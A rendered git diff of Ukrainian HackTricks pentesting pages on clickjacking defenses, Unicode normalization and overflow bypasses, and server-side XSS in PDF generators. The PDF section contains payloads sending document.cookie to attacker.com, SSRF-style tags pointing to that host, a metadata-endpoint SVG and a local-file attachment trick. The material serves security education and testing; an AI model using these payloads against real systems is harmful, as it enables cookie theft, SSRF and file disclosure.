- `frame-ancestors 'self'` - Подібно до `X-Frame-Options: sameorigin`.
|
||||
- `frame-ancestors trusted.com` - Подібно до `X-Frame-Options: allow-from`.
|
||||
- `frame-ancestors 'none'` - Схоже на `X-Frame-Options: deny`.
|
||||
- `frame-ancestors 'self'` - Схоже на `X-Frame-Options: sameorigin`.
|
||||
- `frame-ancestors trusted.com` - Схоже на `X-Frame-Options: allow-from`.
|
||||
|
||||
Наприклад, наступна CSP дозволяє обрамлення лише з того ж домену:
|
||||
|
||||
@ -151,9 +153,9 @@ sandbox="allow-forms allow-scripts"></iframe>
|
||||
|
||||
Додаткові деталі та складні приклади можна знайти в [документації frame-ancestors CSP](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) та [документації Mozilla про frame-ancestors CSP](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors).
|
||||
|
||||
### Політика безпеки контенту (CSP) з `child-src` та `frame-src`
|
||||
### Політика безпеки вмісту (CSP) з `child-src` та `frame-src`
|
||||
|
||||
**Політика безпеки контенту (CSP)** є заходом безпеки, який допомагає запобігти Clickjacking та іншим атакам ін'єкції коду, вказуючи, які джерела браузер повинен дозволити для завантаження вмісту.
|
||||
**Політика безпеки вмісту (CSP)** є заходом безпеки, який допомагає запобігти Clickjacking та іншим атакам ін'єкції коду, вказуючи, які джерела браузер повинен дозволити для завантаження вмісту.
|
||||
|
||||
#### Директива `frame-src`
|
||||
|
||||
@ -166,7 +168,7 @@ Content-Security-Policy: frame-src 'self' https://trusted-website.com;
|
||||
|
||||
#### `child-src` Директива
|
||||
|
||||
- Введена в CSP рівні 2 для встановлення дійсних джерел для веб-робітників та фреймів.
|
||||
- Введена в CSP рівня 2 для встановлення дійсних джерел для веб-робітників та фреймів.
|
||||
- Використовується як резервний варіант для frame-src та worker-src.
|
||||
```
|
||||
Content-Security-Policy: child-src 'self' https://trusted-website.com;
|
||||
@ -175,8 +177,8 @@ Content-Security-Policy: child-src 'self' https://trusted-website.com;
|
||||
|
||||
**Примітки щодо використання:**
|
||||
|
||||
- Відмова: child-src поступово скасовується на користь frame-src та worker-src.
|
||||
- Поведінка за замовчуванням: Якщо frame-src відсутній, використовується child-src як резервний варіант для фреймів. Якщо обидва відсутні, використовується default-src.
|
||||
- Відмова: child-src поступово відходить на користь frame-src та worker-src.
|
||||
- Поведінка за замовчуванням: Якщо frame-src відсутній, child-src використовується як резервний варіант для фреймів. Якщо обидва відсутні, використовується default-src.
|
||||
- Суворе визначення джерела: Включайте лише надійні джерела в директиви, щоб запобігти експлуатації.
|
||||
|
||||
#### JavaScript скрипти для зламу фреймів
|
||||
@ -189,7 +191,7 @@ top.location = self.location
|
||||
```
|
||||
#### Використання Anti-CSRF Токенів
|
||||
|
||||
- **Валідація Токенів:** Використовуйте anti-CSRF токени в веб-додатках, щоб забезпечити, що запити, які змінюють стан, виконуються навмисно користувачем, а не через Clickjacked сторінку.
|
||||
- **Валідація Токенів:** Використовуйте anti-CSRF токени в веб-додатках, щоб забезпечити, що запити, що змінюють стан, здійснюються навмисно користувачем, а не через Clickjacked сторінку.
|
||||
|
||||
## Посилання
|
||||
|
||||
|
@ -1,4 +1,4 @@
|
||||
# Нормалізація Unicode
|
||||
# Unicode Normalization
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -6,21 +6,21 @@
|
||||
|
||||
## Розуміння Unicode та нормалізації
|
||||
|
||||
Нормалізація Unicode — це процес, який забезпечує стандартизацію різних бінарних представлень символів до одного й того ж бінарного значення. Цей процес є критично важливим при роботі з рядками в програмуванні та обробці даних. Стандарт Unicode визначає два типи еквівалентності символів:
|
||||
Нормалізація Unicode - це процес, який забезпечує стандартизацію різних бінарних представлень символів до одного й того ж бінарного значення. Цей процес є критично важливим при роботі з рядками в програмуванні та обробці даних. Стандарт Unicode визначає два типи еквівалентності символів:
|
||||
|
||||
1. **Канонічна еквівалентність**: Символи вважаються канонічно еквівалентними, якщо вони мають однаковий вигляд і значення при друку або відображенні.
|
||||
2. **Еквівалентність сумісності**: Слабша форма еквівалентності, де символи можуть представляти один і той же абстрактний символ, але можуть відображатися по-різному.
|
||||
|
||||
Існує **чотири алгоритми нормалізації Unicode**: NFC, NFD, NFKC та NFKD. Кожен алгоритм використовує техніки канонічної та сумісної нормалізації по-різному. Для більш глибокого розуміння ви можете дослідити ці техніки на [Unicode.org](https://unicode.org/).
|
||||
|
||||
### Ключові моменти щодо кодування Unicode
|
||||
### Основні моменти щодо кодування Unicode
|
||||
|
||||
Розуміння кодування Unicode є важливим, особливо при вирішенні проблем сумісності між різними системами або мовами. Ось основні моменти:
|
||||
|
||||
- **Кодові точки та символи**: У Unicode кожному символу або знаку присвоюється числове значення, відоме як "кодова точка".
|
||||
- **Представлення байтів**: Кодова точка (або символ) представлена одним або кількома байтами в пам'яті. Наприклад, символи LATIN-1 (поширені в англомовних країнах) представлені за допомогою одного байта. Однак мови з більшим набором символів потребують більше байтів для представлення.
|
||||
- **Кодування**: Цей термін відноситься до того, як символи перетворюються в серію байтів. UTF-8 є поширеним стандартом кодування, де символи ASCII представлені за допомогою одного байта, а інші символи — до чотирьох байтів.
|
||||
- **Обробка даних**: Системи, що обробляють дані, повинні бути обізнані про використовуване кодування, щоб правильно перетворити байтовий потік на символи.
|
||||
- **Кодування**: Цей термін відноситься до того, як символи перетворюються в серію байтів. UTF-8 є поширеним стандартом кодування, де символи ASCII представлені за допомогою одного байта, а інші символи - до чотирьох байтів.
|
||||
- **Обробка даних**: Системи, що обробляють дані, повинні бути обізнані про використовуване кодування, щоб правильно перетворити байтовий потік у символи.
|
||||
- **Варіанти UTF**: Окрім UTF-8, існують інші стандарти кодування, такі як UTF-16 (використовуючи мінімум 2 байти, до 4) та UTF-32 (використовуючи 4 байти для всіх символів).
|
||||
|
||||
Важливо зрозуміти ці концепції, щоб ефективно обробляти та пом'якшувати потенційні проблеми, що виникають через складність Unicode та його різні методи кодування.
|
||||
@ -89,16 +89,26 @@ https://github.com/carlospolop/sqlmap_to_unicode_template
|
||||
|
||||
 (1) (1).png>)
|
||||
|
||||
### Фаззинг регулярних виразів
|
||||
### Fuzzing Regexes
|
||||
|
||||
Коли бекенд **перевіряє введення користувача за допомогою регулярного виразу**, можливо, що **введення** **нормалізується** для **регулярного виразу**, але **не** для того, де воно **використовується**. Наприклад, в Open Redirect або SSRF регулярний вираз може **нормалізувати надісланий URL**, але потім **доступатися до нього як є**.
|
||||
Коли бекенд **перевіряє введення користувача за допомогою regex**, можливо, що **введення** **нормалізується** для **regex**, але **не** для того, де воно **використовується**. Наприклад, в Open Redirect або SSRF regex може **нормалізувати надісланий UR**L, але потім **доступатися до нього як є**.
|
||||
|
||||
Інструмент [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* дозволяє **генерувати варіації введення** для фаззингу бекенду. Для отримання додаткової інформації перегляньте **github** та цей [**пост**](https://0xacb.com/2022/11/21/recollapse/).
|
||||
Інструмент [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* дозволяє **генерувати варіації введення** для fuzzing бекенду. Для отримання додаткової інформації перегляньте **github** та цей [**пост**](https://0xacb.com/2022/11/21/recollapse/).
|
||||
|
||||
## Unicode Overflow
|
||||
|
||||
З цього [блогу](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows), максимальне значення байта становить 255, якщо сервер вразливий, переповнення може бути створене для виробництва конкретного та несподіваного ASCII символу. Наприклад, наступні символи будуть перетворені на `A`:
|
||||
|
||||
- 0x4e41
|
||||
- 0x4f41
|
||||
- 0x5041
|
||||
- 0x5141
|
||||
|
||||
## Посилання
|
||||
|
||||
- [**https://labs.spotify.com/2013/06/18/creative-usernames/**](https://labs.spotify.com/2013/06/18/creative-usernames/)
|
||||
- [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work)
|
||||
- [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html)
|
||||
- [https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -5,24 +5,24 @@
|
||||
## Server Side XSS (Dynamic PDF)
|
||||
|
||||
Якщо веб-сторінка створює PDF, використовуючи введення, контрольоване користувачем, ви можете спробувати **обманути бота**, який створює PDF, щоб він **виконав довільний JS код**.\
|
||||
Отже, якщо **бот для створення PDF знаходить** якісь **HTML** **теги**, він буде їх **інтерпретувати**, і ви можете **зловживати** цією поведінкою, щоб викликати **Server XSS**.
|
||||
Отже, якщо **бот для створення PDF знаходить** якісь **HTML** **теги**, він буде **інтерпретувати** їх, і ви можете **зловживати** цією поведінкою, щоб викликати **Server XSS**.
|
||||
|
||||
Зверніть увагу, що теги `<script></script>` не завжди працюють, тому вам знадобиться інший метод для виконання JS (наприклад, зловживанням `<img` ).\
|
||||
Також зверніть увагу, що в звичайній експлуатації ви зможете **бачити/завантажувати створений pdf**, тому ви зможете бачити все, що ви **пишете через JS** (використовуючи `document.write()`, наприклад). Але, якщо ви **не можете бачити** створений PDF, вам, ймовірно, потрібно буде **витягнути інформацію, роблячи веб-запит до вас** (Сліпий).
|
||||
Також зауважте, що під час звичайної експлуатації ви зможете **бачити/завантажувати створений pdf**, тому ви зможете бачити все, що ви **пишете через JS** (використовуючи `document.write()`, наприклад). Але, якщо ви **не можете бачити** створений PDF, вам, ймовірно, потрібно буде **витягнути інформацію, роблячи веб-запит до вас** (Сліпий).
|
||||
|
||||
### Популярні генератори PDF
|
||||
### Популярна генерація PDF
|
||||
|
||||
- **wkhtmltopdf** відомий своєю здатністю перетворювати HTML і CSS у PDF-документи, використовуючи движок рендерингу WebKit. Цей інструмент доступний як безкоштовна командна утиліта, що робить його доступним для широкого спектра застосувань.
|
||||
- **wkhtmltopdf** відомий своєю здатністю перетворювати HTML і CSS у PDF-документи, використовуючи движок рендерингу WebKit. Цей інструмент доступний як безкоштовна утиліта командного рядка, що робить його доступним для широкого спектра застосувань.
|
||||
- **TCPDF** пропонує надійне рішення в екосистемі PHP для генерації PDF. Він здатний обробляти зображення, графіку та шифрування, демонструючи свою універсальність для створення складних документів.
|
||||
- Для тих, хто працює в середовищі Node.js, **PDFKit** є життєздатним варіантом. Він дозволяє генерувати PDF-документи безпосередньо з HTML і CSS, забезпечуючи міст між веб-контентом і друкованими форматами.
|
||||
- Розробники на Java можуть віддати перевагу **iText**, бібліотеці, яка не тільки полегшує створення PDF, але й підтримує розширені функції, такі як цифрові підписи та заповнення форм. Її комплексний набір функцій робить її придатною для створення безпечних і інтерактивних документів.
|
||||
- **FPDF** є ще однією бібліотекою PHP, яка відрізняється своєю простотою та зручністю використання. Вона розроблена для розробників, які шукають простий підхід до генерації PDF, без необхідності в розширених функціях.
|
||||
- **FPDF** є ще однією бібліотекою PHP, яка відрізняється своєю простотою та зручністю використання. Вона призначена для розробників, які шукають простий підхід до генерації PDF без необхідності в розширених функціях.
|
||||
|
||||
## Payloads
|
||||
|
||||
### Discovery
|
||||
```html
|
||||
<!-- Basic discovery, Write somthing-->
|
||||
<!-- Basic discovery, Write something-->
|
||||
<img src="x" onerror="document.write('test')" />
|
||||
<script>document.write(JSON.stringify(window.location))</script>
|
||||
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>
|
||||
@ -32,10 +32,26 @@
|
||||
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
|
||||
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
|
||||
<link rel=attachment href="http://attacker.com">
|
||||
|
||||
<!-- Using base HTML tag -->
|
||||
<base href="http://attacker.com" />
|
||||
|
||||
<!-- Loading external stylesheet -->
|
||||
<link rel="stylesheet" src="http://attacker.com" />
|
||||
|
||||
<!-- Meta-tag to auto-refresh page -->
|
||||
<meta http-equiv="refresh" content="0; url=http://attacker.com/" />
|
||||
|
||||
<!-- Loading external components -->
|
||||
<input type="image" src="http://attacker.com" />
|
||||
<video src="http://attacker.com" />
|
||||
<audio src="http://attacker.com" />
|
||||
<audio><source src="http://attacker.com"/></audio>
|
||||
<svg src="http://attacker.com" />
|
||||
```
|
||||
### SVG
|
||||
|
||||
Будь-який з попередніх або наступних payload може бути використаний всередині цього SVG payload. Один iframe, що отримує доступ до піддомену Burpcollab, і ще один, що отримує доступ до кінцевої точки метаданих, наведені як приклади.
|
||||
Будь-який з попередніх або наступних payload може бути використаний всередині цього SVG payload. Один iframe, що отримує доступ до піддомену Burpcollab, і інший, що отримує доступ до кінцевої точки метаданих, наведені як приклади.
|
||||
```html
|
||||
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
|
||||
<g>
|
||||
@ -152,7 +168,7 @@ checkPort(i);
|
||||
### Attachments: PD4ML
|
||||
|
||||
Існують деякі HTML 2 PDF движки, які дозволяють **вказувати вкладення для PDF**, такі як **PD4ML**. Ви можете зловживати цією функцією, щоб **додати будь-який локальний файл** до PDF.\
|
||||
Щоб відкрити вкладення, я відкрив файл за допомогою **Firefox і двічі клацнув на символі скріпки**, щоб **зберегти вкладення** як новий файл.\
|
||||
Щоб відкрити вкладення, я відкрив файл за допомогою **Firefox і двічі натиснув на символ скріпки**, щоб **зберегти вкладення** як новий файл.\
|
||||
Перехоплення **PDF відповіді** за допомогою burp також повинно **показати вкладення у відкритому тексті** всередині PDF.
|
||||
```html
|
||||
<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
|
||||
@ -169,5 +185,6 @@ icon="Paperclip" />
|
||||
- [https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/](https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/)
|
||||
- [https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html](https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html)
|
||||
- [https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c](https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c)
|
||||
- [https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-pdf-generators-a-complete-guide-to-finding-ssrf-vulnerabilities-in-pdf-generators](https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-pdf-generators-a-complete-guide-to-finding-ssrf-vulnerabilities-in-pdf-generators)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user